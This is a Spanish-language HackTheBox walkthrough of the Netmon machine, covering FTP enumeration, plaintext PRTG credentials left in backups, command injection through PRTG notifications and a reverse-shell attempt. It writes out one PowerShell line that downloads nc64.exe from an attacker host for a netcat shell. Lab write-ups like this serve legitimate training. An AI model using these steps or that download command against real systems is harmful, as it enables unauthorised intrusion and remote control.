Análisis de vulnerabilidadesAuditoría y CTFEnumeración y escaneoExplotaciónHacking WebHTBKali LinuxPentestingPost-explotación

HTB – WriteUp – Netmon

Buenas!

Continuamos con los writeups de máquinas de HacktheBox. En esta ocasión es el turno de Netmon, que fue retirada hace ya un tiempo. Una máquina bastante didáctica e interesante para aprender un nuevo vector de compromiso en una herramienta web.

El write-up se divide en tres fases:

  • Enumeración
  • Explotación
  • Escalada de privilegios

 

Enumeración

En primer lugar, para identificar los servicios y puertos abiertos se ejecuta la herramienta nmap:

Se detectan abiertos los servicios FTP (21), 80 (HTTP) y 445 (SMB). A través de la enumeración de los scripts de nmap se identifica:

  • FTP con el login de anomyous habilitado.
  • PRTG monitor en el 80.
  • La máquina es un Windows 2008 R2 – 2012.

Enumeración FTP

En primer, se accede al FTP a ver que nos podemos encontrar:

Directamente podemos explorar la máquina Windows, así que vamos a ver si se tienen permisos para acceder a la carpeta de directorios y obtener la primera de las flags a través del comando GET:

¡Muy fácil! A continuación, se prueba si se tienen permisos de escritura y es posible subir directamente un fichero a la máquina a través del FTP, pero no es posible ;(

Enumeración web

De aquí poco más se puede sacar, vamos a ver que hay en la web:

En el banner se identifica la versión: 18.1.37 del software Netmon (de ahí el nombre de la máquina xd). Entonces se buscan posibles vulnerabilidades en exploitdb y demás sitios:

https://www.exploit-db.com/exploits/46527

https://www.codewatch.org/blog/?p=453

 

Sin embargo, requieren autenticación, así que habrá que buscar las contraseñas por defecto de la aplicación o bien emplear fuerza bruta.

Tras buscar por Google se obtiene que las credenciales por defecto son: prtgadmin/ prtgadmin Sin embargo, no funcionan…En la funcionalidad de recuperación de contraseñas se identifica que tiene enumeración de usuarios y se detecta que el usuario administrador prtgadmin está registrado. Entonces, se pasa a la técnica tediosa de la fuerza bruta, ya que tras crear un diccionario con la ayuda de cewl y con rockyou, no se logra acceder… ¿Quizás no hemos enumerado bien en Windows mediante el FTP y nos hemos dejado algo? ¡Toca volver atrás!

Se busca en Windows la ruta en la qué se encuentra instalada la aplicación. En /Windows:

 

Se baja y se analiza, pero no hay nada claro ni en texto plano. No iba a ser tan fácil.

Se realizan búsquedas con “-lisah” por si estuviera escondida la carpeta y efectivamente

Tras consultar en Internet, a través de este enlace https://www.reddit.com/r/sysadmin/comments/835dai/prtg_exposes_domain_accounts_and_passwords_in/ se explica que para X versiones se detectó que la aplicación guardaba backups con las contraseñas en texto plano.

En old se encuentra el fichero con la recompensa:

Y ahí están las credenciales hardcodeadas en texto plano:

Yendo al login, nos pegamos la primera hostia en la frente, falla!!!

Tras darles varias vueltas y enfadarme mucho, me di cuenta de que acaba en 2018, pero la máquina se ha publicado en 2019…por lo que la contraseña la habrán renovado a 2019…y efectivamente:

Explotación

Se podrían probar los exploits que encontramos en exploitdb, pero que requerían autenticación.

https://www.exploit-db.com/exploits/46527

Hay que coger la cookie y pasarla, pero el exploit da errores de código:

Así que pasamos a hacerlo a mano con ayuda de este post: https://www.codewatch.org/blog/?p=453

Se va a account -> añadir nueva notificacion -> ejecutar programa:

Se elige de administrador y se accede a la opción de ejecutar programa dónde podemos elegir el fichero de test de ps1 o bien bat. Seleccionando la de powershell, como prueba de concepto se trata de copiar la flag root.txt y moverla a la carpeta de usuario para poder visualizarla mediante el acceso FTP.

Para ejecutarlo:

Tras ejecutarlo, llega un pop-up:

Y se comprueba si ha funcionado accediendo vía FTP para buscar el fichero root.txt renombrado como n00b.txt:

Y ahí está, it works!

Escalada de privilegios

Hasta aquí podríamos llegar y estaría hecha la máquina, pero ya sabéis que leer la flag no da puntos en el OSCP, por ello, vamos a tratar de lograr acceso con una shell reversa. A priori hay dos opciones:

  • Crear un usuario y meterlo en el grupo de administradores para después acceder vía SMB mediante el fichero test outfile.bat, pero sin éxito.
  • Subir un nc.exe y obtener una shell reversa. (Importante la máquina es de 64 bits, por lo que hay que subir el nc64exe , que la primera vez no me di cuenta y me tocó repetir los pasos).

Para transferir los ficheros introducimos el siguiente código en powershell:

powershell -c «(new-object System.Net.WebClient).DownloadFile(‘http://10.10.X.X:1234/nc64.exe’,’C:\Users\Public\nc64.exe’)»

Ya sabéis se pone un puente con python:

Y si vamos al FTP ahí está:

Ahora se introduciría el siguiente código:

Entonces, debería llegar la conexión a nuestro listener:

Sin embargo, como podéis ver, llega la petición del nc.exe que subí anteriormente, como si se hubiera quedado cacheada. Tocaría revertir la máquina y volver a subir el nc64.exe y entonces debería funcionar, pero eso ya os lo dejo a vosotros 😉

Nos vemos en la próxima entrada!

N4xh4ck5

La mejor defensa, es un buen ataque